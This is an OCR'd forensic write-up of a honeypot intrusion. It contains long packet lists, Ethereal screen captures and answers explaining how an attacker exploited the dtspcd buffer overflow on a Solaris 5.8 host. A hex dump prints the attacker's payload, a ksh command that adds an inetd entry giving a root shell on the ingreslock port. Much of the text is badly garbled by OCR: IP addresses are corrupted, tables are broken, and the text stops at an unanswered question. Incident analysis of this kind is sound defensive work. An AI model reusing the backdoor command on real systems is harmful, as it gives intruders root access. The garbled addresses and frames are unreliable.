209.132.221.43 -> 192.168.100.28 DNS
128.9.0.107 -> 192.168.100.28 DNS
192.55.83.30 -> 192.168.100.28 DNS
151.99.125.2 -> 192.168.100.28 DNS
192.168.100.28 -> 209.132.221.43 DNS
192.168.100.28 -> 151.164.1.7 DNS
192.168.100.28 -> 128.8.10.90 DNS
148.244.249.75 -> 192.168.100.28 DNS
151.164.1.1 -> 192.168.100.28 DNS
192.168.100.28 -> 148.244.249.75 DNS
204.70.57.242 -> 192.168.100.28 DNS
192.168.100.28 -> 64.14.76.206 DNS
140.135.18.15 -> 192.168.100.28 DNS
192.168.100.28 -> 151.99.250.2 DNS
192.168.100.28 -> 211.216.50.160 DNS
192.149.252.22 -> 192.168.100.28 DNS
192.168.100.28 -> 198.32.64.12 DNS
192.168.100.28 -> 193.205.245.8 DNS

RDNNDNDNWWWWWWWWWWWWWWWWWWwWwww

192.168.100.197 -> 192.168.100.28 DNS 2
192.168.100.28 -> 192.36.148.17 DNS 2
192.168.100.164 -> 192.168.100.28 DNS 2
192.168.100.28 -> 207.82.198.150 DNS 2
192.168.100.28 -> 216.32.120.21 DNS 2
209.10.66.55 -> 192.168.100.28 DNS 2
192.168.100.28 -> 192.149.252.22 DNS 2
192.168.100.28 -> 64.15.251.221 DNS 2
192.220.125.10 -> 192.168.100.28 DNS 2
192.168.100.28 -> 192.5.6.32 DNS 2
168.95.192.2 -> 192.168.100.28 DNS 2

fe80::c0a8:641c -> f£f02::1:£f£f£f8:e0lc ICMPVG6 2

192.168.100.28 —-> 148.244.153.69 DNS 2
193.205.245.8 -> 192.168.100.28 DNS 2
192.168.100.28 -> 140.111.1.2 DNS 2
192.168.100.28 -> 192.220.125.10 DNS 2
64.28.86.226 -> 192.168.100.28 ICMP 2
151.92.2.34 -> 192.168.100.28 DNS 2
63.215.198.78 -> 192.168.100.28 DNS 2
198.32.64.12 -> 192.168.100.28 DNS 2
151.99.250.2 -> 192.168.100.28 DNS 2
192.168.100.28 -> 192.168.100.197 DNS 2
192.168.100.28 -> 66.28.47.162 ICMP 2
fe80::206:5bff:fe04:5e95 -> ££f02::1:££00:5d0f ICMPvo6
194.25.2.130 => 192.168.100.28 DNS 2
211.216.50.130 -> 192.168.100.28 DNS 2
192.168.100.28 -> 192.168.100.164 DNS 2
192.168.100.28 -> 194.25.2.130 DNS 2
209.10.34.55 -=> 192.168.100.28 DNS 2
216.239.36.10 -> 192.168.100.28 DNS 2
192.168.100.28 -> 203.73.24.8 DNS 2



192.168.100.28
192.168.100.28

-> 64.14.117.6 DNS
-> 202.12.29.60 DNS

202.12.27.33 -> 192.168.100.28 DNS

192.168.100.28
203.73.24.8 ->
200.33.148.201
192.168.100.28

-> 63.215.198.78 DNS
192.168.100.28 DNS

-> 192.168.100.28 DNS
-> 62.101.108.86 ICMP

203.37.255.97 -> 192.168.100.28 DNS
193.0.14.129 -> 192.168.100.28 DNS

64.14.117.6 ->
203.133.1.8 ->
200.33.146.201
192.168.100.28

192.168.100.28 DNS
192.168.100.28 DNS
-> 192.168.100.28 DNS
-> 203.248.240.141 DNS

64.15.251.221 -> 192.168.100.28 DNS

192.168.100.28

-> 64.37.246.2 ICMP

202.12.29.60 -> 192.168.100.28 DNS

192.168.100.28

-> 217.42.126.229 TCP

203.248.240.141 -> 192.168.100.28 DNS

192.168.100.28
192.168.100.28
207.82.198.150
192.168.100.28
192.168.100.28
192.168.100.28
192.168.100.28

-> 203.37.255.97 DNS
-> 209.10.34.55 DNS
-> 192.168.100.28 DNS
-> 211.216.50.130 DNS
-> 193.0.14.129 DNS
-> 202.12.27.33 DNS
-> 192.33.4.12 DNS

66.28.47.162 -> 192.168.100.28 ICMP

192.168.100.28

-> 216.239.36.10 DNS

192.36.125.2 -> 192.168.100.28 DNS
192.5.6.32 -> 192.168.100.28 DNS

192.168.100.28
148.244.153.69
129.70.132.100
192.168.100.28
192.168.100.28

-> 198.41.3.39 DNS
-> 192.168.100.28 DNS
-> 192.168.100.28 DNS
-> 192.36.125.2 DNS
-> 65.203.232.2 ICMP

66.28.34.130 -> 192.168.100.28 ICMP

192.168.100.28
192.33.4.12 ->
192.168.100.28
192.5.5.241 —>
192.168.100.28
192.168.100.28
64.37.246.2 —>
217.42.126.229

-> 200.33.148.201 DNS
192.168.100.28 DNS

-> 209.10.66.55 DNS
192.168.100.28 DNS

-> 151.92.2.34 DNS

-> 129.70.132.100 DNS
192.168.100.28 ICMP
-> 192.168.100.28 TCP

fe80::c0a8:641c -> ££f02::1:££00:5d0e

192.168.100.28
192.168.100.28
211.216.50.160

-> 66.28.34.130 ICMP
-> 62.211.66.55 HTTP
-> 192.168.100.28 DNS

65.203.232.2 -> 192.168.100.28 ICMP

192.168.100.28

-> 203.133.1.8 DNS

216.32.120.21 -> 192.168.100.28 DNS

198.41.3.39 ->
192.168.100.28
192.168.100.28

192.168.100.28 DNS
-> 200.33.146.201 DNS
-> 64.28.86.226 ICMP

192.33.14.32 -> 192.168.100.28 DNS

192.168.100.28
192.168.100.28
192.168.100.28

-> 192.33.14.32 DNS
-> 168.95.192.2 DNS
-> 192.5.5.241 DNS

ICMPV6
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192.
143.
200.
192.
192.
192.
192.
192.
192.
216
192.
192.
192.
202.
193

168.100.28 -> 203.50.0.137 DNS
248.1.177 -> 192.168.100.28 DNS
34.163.34 -> 192.168.100.28 DNS
168.100.28 -> 208.129.201.10 DNS
168.100.28 -> 216.130.214.82 DNS
168.100.28 -> 203.197.173.129 ICMP
168.100.28 -> 193.214.57.194 ICMP
168.100.28 -> 192.31.80.34 DNS
168.100.28 -> 64.226.28.33 DNS

.239.32.10 -> 192.168.100.28 DNS

168.100.28 -> 65.206.228.70 DNS
168.100.28 -> 195.130.233.20 SRVLOC
168.100.28 -> 213.61.5.28 DNS
160.241.130 -> 192.168.100.28 ICMP

.205.245.66 -> 192.168.100.28 DNS

64.226.28.33 -> 192.168.100.28 DNS

209
192.
192.
192.
192.
198.
205.
209.
192.
192.
192.
216.
192.
192.
207.
192.
192.

.225.31.197 -> 192.168.100.28 DNS

168.100.28 -> 205.158.108.194 ICMP
168.100.28 -> 195.130.233.20 S1iMP3
168.100.28 -> 66.28.255.153 DNS
168.100.28 -> 209.185.188.14 DNS
5.148.6 -> 192.168.100.28 ICMP
158.108.194 -> 192.168.100.28 ICMP
185.188.14 -> 192.168.100.28 DNS
168.100.28 -> 199.191.128.105 DNS
168.100.28 -> 193.205.245.66 DNS
168.100.28 -> 64.154.81.20 DNS
21.234.73 -> 192.168.100.28 DNS
168.100.28 -> 202.160.241.130 ICMP
168.100.28 -> 192.76.144.16 DNS
46.245.230 -> 192.168.100.28 DNS
168.100.28 -> 216.151.111.83 ICMP
76.144.16 -> 192.168.100.28 DNS

65.206.228.71 -> 192.168.100.28 DNS

192.
194.
195.
192.
192.
207
192.
216.

168.100.28 -> 204.70.128.1 DNS
25.2.132 -> 192.168.100.28 DNS
129.12.74 -> 192.168.100.28 DNS
168.100.28 -> 139.130.4.5 DNS

168.100.28 -> 211.14.0.99 ICMP

.248.240.42 -> 192.168.100.28 DNS

168.100.28 -> 204.74.101.1 DNS
32.126.150 -> 192.168.100.28 DNS

00000000.0000 -> 00000000.0000 Vines

192.
209.
208.
192.
192.
192.

168.100.28 -> 152.163.209.129 DNS
73.164.76 -> 192.168.100.28 DNS
172.128.158 -> 192.168.100.28 DNS
168.100.28 -> 192.203.230.10 DNS
168.100.28 -> 198.6.1.83 DNS
168.100.28 -> 192.106.1.31 DNS

63.211.121.147 -> 192.168.100.28 DNS

192.
192.
192.

168.100.28 -> 202.175.245.2 ICMP
168.100.28 -> 216.148.227.68 DNS
168.100.28 -> 61.221.179.26 TCP

64.12.51.132 -> 192.168.100.28 DNS

192.
192.
192.

168.100.28 -> 65.206.228.71 DNS
168.100.28 -> 203.133.1.6 DNS
168.100.28 -> 192.168.100.198 DNS
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192.168.100.28 -> 200.34.163.34 DNS
204.176.88.1 -> 192.168.100.28 DNS
192.168.100.28 -> 194.25.0.125 DNS
204.70.49.234 -> 192.168.100.28 DNS
192.168.100.28 -> 206.228.179.10 DNS
199.2.117.66 -> 192.168.100.28 DNS
192.168.100.28 -> 216.239.32.10 DNS
192.168.100.28 -> 213.157.130.12 TCP
192.168.100.28 -> 199.2.117.66 DNS
192.168.100.28 -> 200.160.0.5 DNS
192.168.100.28 -> 212.62.17.141 DNS
192.168.100.28 -> 64.12.51.132 DNS
207.46.72.123 -> 192.168.100.28 DNS
192.168.100.28 -> 63.210.142.26 DNS
63.218.7.158 -> 192.168.100.28 DNS
192.168.100.28 -> 63.211.121.147 DNS
192.168.100.28 -> 216.74.57.197 DNS
192.168.100.28 -> 209.104.33.252 DNS
152.163.209.129 -> 192.168.100.28 DNS
199.191.128.105 -> 192.168.100.28 DNS
192.168.100.28 -> 209.73.164.76 DNS
212.111.32.38 -> 192.168.100.28 DNS
198.6.1.83 -> 192.168.100.28 DNS
65.206.228.70 -> 192.168.100.28 DNS
192.168.100.28 -> 195.130.233.20 MGCP
62.4.74.66 —-> 192.168.100.28 ICMP
64.35.7.130 -> 192.168.100.28 ICMP
192.168.100.28 -> 216.32.126.150 DNS
147.28.0.39 -> 192.168.100.28 DNS
192.168.100.28 -> 206.25.8.69 DNS
213.61.5.28 -> 192.168.100.28 DNS
192.18.99.5 -> 192.168.100.28 DNS
209.104.33.252 -> 192.168.100.28 DNS
192.168.100.28 -> 217.29.76.4 DNS
134.75.30.1 -> 192.168.100.28 DNS
192.168.100.28 -> 193.108.91.42 DNS
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fe80::206:5bff:fe04:5e95 -> ££f02::1:££04:5e95

216.74.57.197 -> 192.168.100.28 DNS
192.168.100.28 -> 66.7.130.1 DNS
192.168.100.28 -> 217.5.100.186 DNS
192.168.100.28 -> 216.21.234.73 DNS
206.228.179.10 -> 192.168.100.28 DNS
203.133.1.6 -> 192.168.100.28 DNS
192.168.100.28 -> 217.116.224.1 DNS
192.168.100.28 -> 212.31.251.66 ICMP
203.50.5.200 -> 192.168.100.28 DNS
192.168.100.28 -> 143.248.1.177 DNS
218.90.41.105 -> 192.168.100.28 NBNS
193.214.57.194 -> 192.168.100.28 ICMP
212.31.251.66 -> 192.168.100.28 ICMP
168.95.192.1 -> 192.168.100.28 DNS
64.154.81.20 -> 192.168.100.28 DNS
192.168.100.28 -> 62.4.74.66 ICMP
192.168.100.28 -> 185.130.233.20 DDTP
192.168.100.28 -> 209.73.176.204 DNS
192.168.100.28 -> 202.30.50.50 DNS
206.25.8.69 -> 192.168.100.28 DNS
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200.160.0.5 -> 192.168.100.28 DNS
192.168.100.28 -> 65.54.248.222 DNS
211.14.0.99 -> 192.168.100.28 ICMP
213.200.82.49 -> 192.168.100.28 ICMP
192.36.148.17 -> 192.168.100.28 DNS
129.70.4.55 -> 192.168.100.28 DNS
208.211.225.10 -> 192.168.100.28 DNS
202.175.245.2 -> 192.168.100.28 NBNS
192.168.100.28 -> 204.253.104.10 DNS
61.221.179.26 -> 192.168.100.28 TCP
12.122.12.58 -> 192.168.100.28 ICMP
206.79.230.10 -> 192.168.100.28 DNS
63.210.142.65 -> 192.168.100.28 DNS
192.168.100.28 -> 213.41.76.66 ICMP
204.71.116.25 -> 192.168.100.28 DNS
192.168.100.28 -> 129.70.4.55 DNS
192.168.100.28 -> 216.231.111.14 DNS
192.168.100.28 -> 208.211.225.10 DNS

192.168.100.28 -> 195.130.233.20 NBNS

194.25.0.125 -> 192.168.100.28 DNS
139.130.4.5 -> 192.168.100.28 DNS
209.21.0.72 -> 192.168.100.28 DNS

192.168.100.28 -> 185.130.233.20 RADIUS

192.168.100.28 -> 194.25.2.132 DNS
64.70.38.180 -> 192.168.100.28 DNS
216.130.214.82 -> 192.168.100.28 DNS
-> f£f02::1:££00:5d0f ICMPvo6
207.68.128.151 -> 192.168.100.28 DNS
192.168.100.28 -> 202.12.29.25 DNS

216.151.111.83 -> 192.168.100.28 ICMP

192.168.100.28 -> 203.50.5.200 DNS
192.168.100.28 -> 198.5.148.6 ICMP
192.168.100.28 -> 192.9.9.3 DNS

192.168.100.28 -> 208.254.75.130 ICMP

209.73.176.204 -> 192.168.100.28 DNS
65.54.248.222 -> 192.168.100.28 DNS
192.168.100.28 -> 64.35.7.130 ICMP
192.168.100.28 -> 204.70.49.234 DNS
192.168.100.28 -> 192.18.99.5 DNS
206.65.183.70 -> 192.168.100.28 DNS
216.231.111.14 -> 192.168.100.28 DNS
66.7.130.1 -> 192.168.100.28 DNS
192.168.100.28 -> 208.185.54.23 DNS
192.168.100.28 -> 207.248.240.42 DNS
192.168.100.28 -> 212.111.32.38 DNS
192.168.100.28 -> 64.154.80.20 DNS
192.168.100.28 -> 204.71.116.25 DNS
192.168.100.28 -> 147.28.0.39 DNS
213.199.1.132 -> 192.168.100.28 DNS
209.132.221.44 -> 192.168.100.28 DNS
192.168.100.28 -> 206.79.230.10 DNS
204.70.128.1 -> 192.168.100.28 DNS
192.168.100.28 -> 63.210.142.65 DNS
192.168.100.28 -> 206.65.183.70 DNS
192.168.100.28 -> 213.199.1.132 DNS
204.253.104.10 -> 192.168.100.28 DNS
151.92.2.35 -> 192.168.100.28 DNS
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192.168.100.28 -> 207.68.128.151 DNS
192.168.100.28 -> 63.218.7.158 DNS
208.254.75.130 -> 192.168.100.28 ICMP 1
195.130.233.20 -> 192.168.100.28 UDP
192.168.100.28 -> 207.46.72.123 DNS
217.5.100.186 -> 192.168.100.28 DNS
192.168.100.28 -> 209.132.221.44 DNS
192.168.100.28 -> 218.90.41.105 ICMP
204.74.101.1 -> 192.168.100.28 DNS
64.0.96.22 -> 192.168.100.28 DNS
192.168.100.28 => 195.130.233.20 AODV6 1
217.116.224.1 -> 192.168.100.28 DNS
212.62.17.141 -> 192.168.100.28 DNS
192.168.100.28 -> 207.46.245.230 DNS
213.157.130.12 -> 192.168.100.28 TCP
192.168.100.28 -> 168.95.192.1 DNS
208.129.201.10 -> 192.168.100.28 DNS
192.168.100.28 -> 195.129.12.74 DNS
fe80::206:5bff:fe04:5e95 -> ££f02::2:d64£:898
192.168.100.28 -> 134.75.30.1 DNS
202.12.29.25 -> 192.168.100.28 DNS
66.28.255.153 -> 192.168.100.28 DNS
217.29.76.4 -> 192.168.100.28 DNS
64.154.80.20 -> 192.168.100.28 DNS
203.50.0.137 -> 192.168.100.28 DNS
216.148.227.68 -> 192.168.100.28 DNS
192.168.100.28 -> 204.176.88.1 DNS
192.168.100.28 -> 208.172.128.158 DNS 1
192.168.100.28 -> 209.225.31.197 DNS
216.73.84.10 -> 192.168.100.28 ICMP
192.31.80.34 -> 192.168.100.28 DNS
192.106.1.31 -> 192.168.100.28 DNS
192.168.100.28 -> 216.73.84.10 ICMP
192.168.100.28 -> 64.0.96.22 DNS
203.197.173.129 -> 192.168.100.28 ICMP 1
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192.168.100.28 -> 151.92.2.35 DNS 1
208.185.54.23 -> 192.168.100.28 DNS 1
192.168.100.28 -> 64.70.38.180 DNS 1
192.168.100.198 -> 192.168.100.28 DNS 1
193.108.91.42 -> 192.168.100.28 DNS 1
213.41.76.66 => 192.168.100.28 ICMP 1
192.203.230.10 -> 192.168.100.28 DNS 1
192.168.100.28 => 195.130.233.20 DLSw 1
192.168.100.28 -> 209.21.0.72 DNS 1
Total: 123123

With this information I was now able to focus on just a few specific
machines. I decided to go back to Ethereal and begin to look for
packets that corresponded with the information obtained from Snort. I
then noticed the numerous DNS queries and few NBTSTAT queries. These
packets were responded to with ICMP “destination unreachable” replies.
These packets were followed by some interesting packets sent to port
1433 (ms-sgl-s). These reports were responded to with a RST, ACK
indicating that the victim did not have the particular port open. As I
continued to scan down within Ethereal I noticed the next batch of
packets being sent to port 6112. A google search of this port



indicated that this port is used for ‘dtpcd’. This information
combined with the previously obtained about the possible victim’s
operating system proved to be quite interesting.

Now I moved back to the snort outputs to obtain the information about
the “skillz” ICMP packets. This was quite easy since snort indicated
that this was a DDOS Stacheldraht agent->handler.

I now attempted to determine the nationality of the attacker and used
whois to provide me with the country of origin based upon the owner of
the IP blocks.

Q1 Answer

What is the operating system of the honeypot? How did you determine
that?

It appears that the honeypot is a Sun Solaris 5.8 system. This is
based upon the ethereal analysis of the Source and Destination MAC
addresses. This information was validated with the Passive
Fingerprinting Default TTL values of both TCP and UDP packets. The TTL
value displayed by Ethereal is 255 which correspond to a Solaris system
below 7. Ethereal provided the final piece of information between
frames 569 and 574 where the operating system is reported to the
attacker from the victim as SunOS 5.8.

Q2 Answer

How did the attacker(s) break into the system?

It appears that the attacker(s) gained access to the system using TCP a
destination port 6112 which is used for 'dtspcd'. According to the
CERT Vulnerability Note VU#172583
(http://www.kb.cert.org/vuls/id/172583) this could affect both SunOS
5.8, 5.8 %86 systems. A remotely exploitable buffer overflow exists in
the Common Desktop Environment (CDE) Subprocess Control Service
(dtspcd) . An attacker who successfully exploits this vulnerability can
execute arbitrary code as root.

Q3 Answer

Which systems were used in this attack, and how?

61.219.90.180 - began the attack with SYN packet sent to destination
port 6112. Once it received an SYN/ACK, it completed the three way
handshake with an ACK. This system then attempted to access the victim
via port 1524 (Ingreslock) which is probably an attempt to exploit a



root shell exploit using Ingreslock. The system then went back to work
on the original dtspcd exploit. As you can see with Frame 569 the
attacker now has control of our victim. You can also see the operating
system is SunOS 5.8

SED
File Edit Capture Display Tools Help
ko, . |Time |Suurce |Destmaliun ‘Prutucu\ |Im’U j
561 33015.413867 61.219.90.180 152.168.100.28 TCR 56399 > 6112 [SYN] Seq=2151229461 Ack=0 Win=5840 Len=
562 33015,413867 192.168.100.28 61,2159, 90,180 TCP 6112 > 56399 [S¥N, ACK] Seq=3124316702 Ack=2151229462
563 33015.623853 61.215.90.180 1%2.168.100.28 TCP 56399 > 6112 [ACk] Seq=2151229462 Ack=3124316703 win=
564 33015.633853 61.219.90.180 152.168.100.28 TCR 56709 > dngreslock [SYN] Seq=2149411790 Ack=0 win=584
565 33015,633853 192.168.100.28 61,2159, 90,180 TCP ingreslock > 56709 [RST, ACK] Seq=0 Ack=2149411791 wi
566 33015, 853858 61.215.90.180 1%2.168.100.28 TCP 56710 > 6112 [5vn] Seq=2140233517 Ack=0 win=5840 Len=
567 33015.853838 192.168.100.28 61.219.90.180 TCR 6112 > 56710 [S¥NW, ACK] Seq=3124564265 Ack=2140233518
568 33016, 063823 61.219,20.180 1%2.168.100.28 TCP S6710 » 6112 [ACK] Seq=2140233518 Ack=3124564266 win
330 ) 0,180 ] od od ] 5 0 > 611: J i 5]
570 33016.073823 192.168.100.28 61.219.90.180 TCR 6112 > 56710 Seq=3124564266 Ack=2140233551 wWin=
571 33016.113820 192.168.100,28 61,219, 90,180 TCP 6112 > 56710 [PSH, ACK] Seq=3124564266 Ack=2140233551
572 33016.333805 61.215.90.180 1%2.168.100.28 TCP 56710 > 6112 [ACK] Seq=2140233551 Ack=3124564336 win=
573 33016.333805 61.219.90.180 152.168.100.28 TCR S6710 > 6112 [PSH, ACK] Seq=2140233551 Ack=3124564336
574 33016,333805 61.219, 90,180 1%2.168.100.28 TCP S6710 > 6112 [FIN, ACK] Seq=2140233571 Ack=3124564336
575 33016.333805 192.168.100.28 61,215, 90,180 TCP 6112 > 56710 [ACK] Seq=3124564336 Ack=2140233572 win=
L7FA 23N A 2IIQAL AT 210 0N TRM 102 TAR 1An 2R TrD CRFI o~ EB1170 Towvh] Son—2142411070 Ak -0 wWSn—CRAN | on—
[~ I =
EFrame 569 (99 bytes on wire, 99 bytes captured) A
[ Ethernet II, Src: 00:07:ec:h2:d0:0a, Dst: 08:00:20:d1:76:19
B Internet Protocol, Sre Addr: 61.219.90.180 (61.219.90.180), Dst Addr: 192.168.100.28 (192.168.100.28)
version: 4
Header length: 20 bytes
@ pifferentiated Services Field: 0x00 (DSCP Qx00: Default; ECHW: 0x00)
Total Length: 85
Identification: Ox6b23
HFlags: Ox04
Fragment offset: 0
Time to Tive: 44
protocal: TCP (0x06)
Header checksum: 0x%adb (incorrect, should be Oxz2&2c<)
Source: 61.21%.90.180 (61.21%.%0.180)
pestination: 192.168,100.258 (192.168.100.28)
E Transmission Control Protocol, src Port: 56710 (56710), Dst Port: &112 (6112), Seq: 2140233518, Ack: 3124564266, Len: 33
Data (33 hytes)
(= I
0030 16 d0 a4 off 00 00 01 01 08 0a 02 ed 34 22 06 c% ........ el A
o040 Fa a2 30 30 30 30 30 30 30 32 30 34 30 30 30 64 z. 000000 0204000d
0050 30 30 30 31 20 20 34 20 00 72 &f &fF 74 00 00 31 000l 4 .root..l
0G0 30 00 00 0.,
/|

Filter. ||p addr==61.219.90.180 J Reset| Apply |Fi|e day1.log



@ dayl.log - Ethereal ;Iilﬂ

File Edit Capture Display Tools Help
Mo, . |T|me |Source |Destmat|0n ‘F'rotoco\ |Inf0 ﬁ
61 33015.413867 61.219.90.180 152.168,.100.28 TCP 56399 > 6112 [S¥M] sSeq=2151222461 Ack=0 win=5840 Len=
G562 33015.4138467 102.168.100. 28 61.21%. 90,180 TCP 6112 > 56399 [Svn, Ack] Seq=3124316702 Ack=215122%462
563 33015.623853 61.219.90.180 1582.168.100.28 TCP 56399 > 6112 [ACK] Seq=2151229462 Ack=3124316703 win=
G64 33015.633853 61.219.90.180 152.168,.100.28 TCP 56709 > ingreslock [SyM] Seq=2149411790 Ack=0 win=584
565 33015.633853 102.168.100. 28 61.21%. 90,180 TCP ingreslock > 56709 [RST, ack] seqg=0 Ack=21494117%1 wi
5868 33015.853838 61.219.90.180 152.168.100.28 TCR S6710 > 6112 [SYN] Seq=2140233517 Ack=0 Win=5840 Len=
G567 33015.853838 192.168.100. 28 61.2159.90.180 TCP 6112 > 56710 [Syw, ACK] Seq=3124564265 Ack=2140233518
S68 33016. 063823 61.21%9. 90,180 1582.168.100.28 TCP S6710 > 6112 [AcCk] Seq=2140233518 Ack=3124564266 win=
589 33016.073823 61.219.90.180 152.168.100.28 TCR S6710 > 6112 [PSH, ACK] Seq=2140233518 Ack=3124564266

G570 33016.073823 192.168.100. 28 61.215.90. 180 TCP 6llz2 » 0 [ACK] sSeq=3124564266 AC

5671
016.11 102.1 100 5

E 61 . [3 [4]
572 33016.333805 61.219.90.180

192.168.100.28 TCP 56710 » 6112

Seq=2140233551 Ack=3124564336 wWin=
573 33016.333805 61.219,90.180 152.168.100.28 TCP S6710 » 6112 [PSH, ACK] Seq=2140233551 Ack=3124564336
574 33016.333805 61.215.90.180 1%2.168.100.28 TCP 56710 > 6112 [FIW, ACK] Seq=2140233571 aAck=3124564336
575 33016.333805 192.168.100.28 61.219.90.180 TCR 6112 > 56710 [ACK] Seq=3124564336 Ack=2140233572 win=
EFR 22M1 A 222RNE A1 210 GN8N 102 MER NN DR TrD EATIT ~ A112 Townd com—2142411070 ark -0 win—EQ4n 1 on- /
R I -
EFrame 571 (136 hytes on wire, 136 bytes captured) 4
M Ethernet II, Src: 08:00:20:cl:76:19, Dst: 00:07:ec:h2:d0:0a
B Internet Protocol, Sro Addr: 192.168.100.28 (192.168.100.28), D0st addr: 61.219.90.180 (61.219.90.180)
version: 4
Header length: 20 hytes
@ pifferentiated services Field: 0x00 (DSCP Ox00: Default; ECH: 0x00)
Total Length: 122
Identification: 0xcB97
EHFlags: ox04
Fragment offset: 0
Time to Tive: &4
Protocol: TCP (Ox06)
Header checksum: 0x2842 (incorrect, should be Oxb492)
Source: 192.168.100.28 (192.168.100.28)
pestination: &61.219.9%0,180 (&1.219.50.180)
EHTransmission Control Protocol, Src Port: 6112 (6112), Dst Port: 56710 (567100, Seq: 3124564266, Ack: 2140233551, Len: 70
Data (70 hytes)
(N I
L L EE - TV TV T TV TV V) AU 33U 3L 34 53U 353U 33 537 B [V VVE S A
0050 30 30 30 31 20 20 33 20 00 2f 2f 2e 53 50 43 5 0001 3 LS/ SPC
0060 41 41 41 56 54 61 71 44 64 00 31 30 30 30 00 Fa AfsyTagDd d.1000.z
0070 6f 62 65 72 69 75 73 3a 53 75 de 4f 93 3a 35 2e oherius: sunos:s.
0080 38 3a Y3 T5 Ge 34 75 00 Sisundu. Vi

Filter.|[ip zddr == 51.219.90 120 /] Reset] Apply|[File: gay1 Ing

The attacker then added the Ingreslock entry to inetd with the newly
acquired shell access.



@ day1.log.gz - Ethereal ;lilﬂ

File Edit Capture Display Tools Help

Ma. - |Time |Snurce |Destmatinn ‘F‘rnmcn\ |Im'n A&
T T T3 L7, IUo. LU, UL, 21 e T TTgr 25 TR T R=T, Lo 154" b F=rIF oS IOl W [—
566 33015, 853838 61.219, 90,180 1%2.168.100.28 TCP S6710 > 6112 [5vn] Seq=2140233517 Ack=0 win=5840 Len=
567 33015.853838 192.168.100.28 61,215, 90,180 TCP 6112 > 56710 [SYW, ACK] Seq=3124564265 Ack=2140233518
568 33016, 063823 61.219, 20,180 152.168.100.28 TCP S6710 » 6112 [ACK] Seq=2140233518 Ack=3124564266 win=
560 33016, 073823 61.219, 90,180 1%2.168.100.28 TCP S6710 > 6112 [PSH, ACK] Seq=2140233518 Ack=3124564266
570 33016. 073823 192.168.100.28 61,215, 90,180 TCP 6112 > 56710 [ACK] Seq=3124564266 Ack=2140233551 win=
571 33016.113820 192.168.100.28 61,2159, 90,180 TCP 6112 > 56710 [PSH, ACK] Seq=3124564266 Ack=2140233551
572 33016.333805 61.219, 90,180 1%2.168.100.28 TCP S6710 > 6112 [ACk] Seq=2140233551 Ack=3124564336 win=
573 33016.333805 61.219.90.180 152.168.100.28 TCP S6710 > 6112 [PSH, ACK] Seq=2140233551 Ack=3124564336
574 33016,333805 61.2159,90.180 152.168.100.28 TCP S6710 » 6112 [FIN, ACK] Seq=2140233571 Ack=3124564336
575 33016,333805 192.168.100.28 61,2159, 30,180 TCP 6112 > 56710 [ACK] Seq=3124564336 Ack=2140233572 win=
5768 33016.333805 61.219.90.180 152.168.100.28 TCR S6711 > 6112 [SYN] Seq=2143411079 Ack=0 Win=5840 Len=
577 33016,333805 192.168.100.28 61,2159, 90,180 TCP 6112 » 56711 [SvwN, ACK] Seq=3124882181 Ack=2143411080
578 33016.333805 192.168.100.28 61,215, 90,180 TCP 6112 > 56710 [FIN, ACK] Seq=3124564336 Ack=2140233572

579 33016, 553790 61.219.90.180 192.168.100.28 TCP 56711 » 6112
. g = o >

71l > 2

-

I ] =

EHFrame 380 (1514 bytes on wire, 1514 hytes captured)
EEThernet II, src: 00:07:ec:bz:do:0a, DsT: 08:00:20:d1:76:19
B Internet Protocol, Sro addr: 61,219.90.180 (61.219%.90.180), Dst Addr: 192.168.100.28 (192.168.100.28)
wversion: 4
Header length: 20 bytes
Epifferentiated services Field: 0x00 (psCP Ox00: pefault; ECM: 0x00)
Total Length: 1500
rdentification: Ooxefhd

I

EFlags: oxo4 v
I I
0510 e0 20 a2 02 20 0c a4 02 20 10 cO 2a 20 08B cO 2a 5 T A
0520 20 0e d0 23 ff e0 e2 23 ff e4 ed 23 ff 28 cO 23 I N
0530 ff ec 82 10 20 ob 91 do 20 08 2f 62 69 6e 2T 6b LAbindk

0540 73 68 20 20 20 20 2d 63 20 20 &5 63 &8 &f 20 22 sh —C echo "
0550 69 6e 67 72 65 73 6¢c 6f 63 eb 20 73 74 72 65 61 ingreslo ck strea
0560 6d 20 74 63 FO 20 6e 6f F7 el 69 74 20 72 &f ef m tcp no wait roo
0570 74 20 2f 62 69 6e 2f 73 6B 20 73 68 20 2d 69 22 t /binds hosh 3"
0580 3e 2f 74 6d 7o 2f 78 3b 2f 75 73 72 2f 73 62 60 > tmpsx; Jusr/shi
0590 Ge 27 69 e 65 74 64 20 2d 73 20 2f 74 &d 70 2 nsinetd -s Stmp/s
0530 78 3b 73 6c 65 65 70 20 31 30 3hb 2f 62 69 gGe 2f x;sleep  10;/bins
0sho 72 6d 20 2d 66 20 2f 74 6d 7o 2f 78 20 41 41 41 rm —f /T mpsx Aas

AAOAA000 ALAAAALL

050 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAKAAA AAARAARA
0520 41 41 41 41 41 41 41 41 41 41 BAAAAALA AL

M| JMM“HE dayl.log.gz

L

Q4 Answer

Create a diagram that demonstrates the sequences involved in the
attack.



61.219.90.180:56399

61.219.90.180:56399

61.219.90.180:56399

61.219.90.180:56709

61.219.90.180:56709

61.219.90.180:56710

61.219.90.180:56710

61.219.90.180:56710

192.168.100.28:6112

SYN/ACK

‘/\| (%]
-<
=z

192.168.100.28:6112

Initial three-way handshake
via dtspcd (6112)

192.168.100.28:6112

192.168.100.28:1542

Attempted Ingreslock

RST/ACK

192.168.100.28:1542

192.168.100.28:6112

(port 1542) access.

SYN/ACK

%]
1 ( 2 1 ( 3
4 P

192.168.100.28:6112

Three-way handshake via
dtspcd (6112)

192.168.100.28:6112




61.219.90.180:56710

PSH/ACK

l

61.219.90.180:56710

61.219.90.180:56710

PSH/ACK

61.219.90.180:56710

61.219.90.180:56710

PSH/ACK

61.219.90.180:56710

FIN/ACK

61.219.90.180:56710

61.219.90.180:56711

192.168.100.28:6112

192.168.100.28:6112

192.168.100.28:6112

192.168.100.28:6112

192.168.100.28:6112

LU

192.168.100.28:6112

192.168.100.28:6112

192.168.100.28:6112

Root access obtained

[ Acknowledges and reports

OS as SunOS 5.8




61.219.90.180:56711 SYN/ACK 192.168.100.28:6112

61.219.90.180:56710 FIN/ACK 192.168.100.28:6112

[

61.219.90.180:56711 ACK 192.168.100.28:6112

[ Ingreslock stream change
61.219.90.180:56711 ACK 192.168.100.28:6112 |___made to /usr/sbin/inetd
61.219.90.180:56710 ACK 192.168.100.28:6112
61.219.90.180:56711 ACK 192.168.100.28:6112

61.219.90.180:56711 ACK 192.168.100.28:6112

61.219.90.180:56711 AC

P

192.168.100.28:6112

Q5 Answer

What is the purpose/reason of the ICMP packets with 'skillz' in them?

